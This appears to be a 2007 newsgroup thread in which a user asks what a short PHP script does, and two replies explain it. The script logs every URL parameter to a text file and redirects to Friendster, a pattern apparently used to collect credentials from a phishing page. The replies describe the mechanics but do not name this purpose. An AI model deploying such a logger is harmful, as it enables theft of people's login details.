anyone knows what this php script means????

anyone knows what this php script means????

am 20.09.2007 19:14:18 von pinoyclan

header("Location: http://www.friendster.com/index.cfm?fuseaction=user");
$handle = fopen("out.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");

}


fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

this link of the code is here,
http://www.nomorepasting.com/getpaste.php?pasteid=4068

pls tell me what this means and the
function of this .php file. thank you

Re: anyone knows what this php script means????

am 20.09.2007 21:05:35 von Courtney

pinoyclan@gmail.com wrote:
> > header("Location: http://www.friendster.com/index.cfm?fuseaction=user");
> $handle = fopen("out.txt", "a");
> foreach($_GET as $variable => $value) {
> fwrite($handle, $variable);
> fwrite($handle, "=");
> fwrite($handle, $value);
> fwrite($handle, "\r\n");
>
> }
>
>
> fwrite($handle, "\r\n");
> fclose($handle);
> exit;
> ?>
>
> this link of the code is here,
> http://www.nomorepasting.com/getpaste.php?pasteid=4068
>
> pls tell me what this means and the
> function of this .php file. thank you
>
Its simply dumping out the contents of the GET variables to a file.

Re: anyone knows what this php script means????

am 21.09.2007 04:05:48 von Macca

The $_GET superglobal contains all the 'variables' passed to the page
in the URL after a '?'

for example : www.domain.com?var1=foo&var2=bar

would have two GET variables:

var1 = foo

var2 = bar

The script then opens the file "out.txt" and writes each variable to
the file like so:

var1=foo
var2=bar

It then redirects the browser to the URL: http://www.friendster.com/index.cfm?fuseaction=user


Regards,

Paul